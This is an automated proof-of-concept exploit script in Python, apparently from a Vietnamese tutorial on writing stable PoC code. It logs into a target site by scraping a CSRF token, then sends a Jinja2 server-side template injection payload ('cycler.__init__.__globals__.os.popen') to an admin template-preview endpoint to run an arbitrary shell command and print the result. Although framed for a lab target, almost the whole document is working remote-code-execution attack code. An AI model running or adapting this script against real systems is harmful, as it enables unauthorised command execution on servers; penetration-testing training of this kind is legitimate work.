Viết Script PoC Tự Động Hóa: Ổn định và Độc lập

import argparse
import logging
import re
import sys
from bs4 import BeautifulSoup
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# Configure structured logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler(sys.stdout)]
)
logger = logging.getLogger("PoC")

class ExploitClient:
    def __init__(self, target_url, timeout=10):
        self.target = target_url.rstrip("/")
        self.timeout = timeout
        self.session = requests.Session()

        # Configure automatic retry for flaky networks
        retries = Retry(
            total=3,
            backoff_factor=0.5,
            status_forcelist=[502, 503, 504]
        )
        self.session.mount("https://", HTTPAdapter(max_retries=retries))
        self.session.mount("http://", HTTPAdapter(max_retries=retries))

    def step1_login_and_extract_csrf(self, username, password):
        logger.info("Pha 1: Lay CSRF token va dang nhap...")
        login_page_url = f"{self.target}/login"
        
        try:
            r = self.session.get(login_page_url, timeout=self.timeout)
            r.raise_for_status()
        except requests.RequestException as e:
            logger.error("Khong the truy cap trang dang nhap: %s", e)
            return False

        # Extract CSRF token from HTML form using BeautifulSoup
        soup = BeautifulSoup(r.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrf_token"})
        if not csrf_input or not csrf_input.get("value"):
            logger.error("Khong tim thay csrf_token trong HTML form!")
            return False

        csrf_token = csrf_input["value"]
        logger.info("Tim thay CSRF token: %s", csrf_token[:8] + "...")

        # Perform login POST request
        login_payload = {
            "username": username,
            "password": password,
            "csrf_token": csrf_token
        }
        res = self.session.post(f"{self.target}/api/login", json=login_payload, timeout=self.timeout)
        if res.status_code == 200 and res.json().get("authenticated"):
            logger.info("Dang nhap thanh cong, cookie session da duoc luu tru.")
            return True

        logger.error("Dang nhap that bai voi ma HTTP: %d", res.status_code)
        return False

    def step2_trigger_exploit(self, payload_cmd):
        logger.info("Pha 2: Gui payload khai thac...")
        exploit_url = f"{self.target}/api/admin/template-preview"
        
        # Inject payload into vulnerable parameter
        data = {
            "template": f"{{{{ cycler.__init__.__globals__.os.popen('{payload_cmd}').read() }}}}"
        }
        try:
            res = self.session.post(exploit_url, json=data, timeout=self.timeout)
            if res.status_code == 200:
                logger.info("Khai thac thanh cong! Ket qua tra ve tu may chu:")
                print("=" * 40)
                print(res.text.strip())
                print("=" * 40)
                return True
            logger.warning("Server tra ve ma loi: %d", res.status_code)
        except requests.RequestException as e:
            logger.error("Loi ket noi khi gui payload: %s", e)
        return False

def main():
    parser = argparse.ArgumentParser(description="Automated PoC Script for Lab Target")
    parser.add_argument("--url", required=True, help="Target URL (e.g. http://localhost:8000)")
    parser.add_argument("--user", default="testuser", help="Testing username")
    parser.add_argument("--pwd", default="testpass", help="Testing password")
    parser.add_argument("--cmd", default="id", help="Command to execute for proof")
    args = parser.parse_args()

    client = ExploitClient(args.url)
    if client.step1_login_and_extract_csrf(args.user, args.pwd):
        client.step2_trigger_exploit(args.cmd)
    else:
        logger.error("Dung script do khau xac thuc that bai.")

if __name__ == "__main__":
    main()